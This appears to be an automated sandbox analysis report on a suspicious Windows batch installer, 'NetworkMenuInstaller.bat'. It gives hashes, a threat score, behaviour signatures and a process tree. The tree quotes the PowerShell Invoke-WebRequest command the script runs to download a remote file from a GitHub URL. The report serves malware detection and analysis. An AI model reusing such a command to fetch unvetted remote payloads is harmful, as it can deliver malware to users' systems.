Analysis

  • max time kernel
    7s
  • max time network
    10s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2023, 23:39

General

  • Target

    NetworkMenuInstaller.bat

  • Size

    282B

  • MD5

    3af7542b0f5d4c1503132c9cf40c53eb

  • SHA1

    197423863cb083e45810d0b7b0d5354bd58167e6

  • SHA256

    ca6268260871a9c63d81cac0ba248fb1cc7dbcc49d8928490398802adff093a6

  • SHA512

    7c6ec1aea4be3080c2e1ef47090f356971fdeef58b57d2cdf8f2defebdd6c87fa0765be2defb54824db514bc2936bcba4b650a4d22b5c222afaf69b566f4c813

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NetworkMenuInstaller.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest https://raw.githubusercontent.com/Polizei321/network-tools/main/NetworkTools -Outfile NetworkMenu.lua"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:220

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b04j02d1.kmj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/220-138-0x0000027A96720000-0x0000027A96742000-memory.dmp

    Filesize

    136KB

  • memory/220-143-0x0000027AAED90000-0x0000027AAEDA0000-memory.dmp

    Filesize

    64KB

  • memory/220-144-0x0000027AAED90000-0x0000027AAEDA0000-memory.dmp

    Filesize

    64KB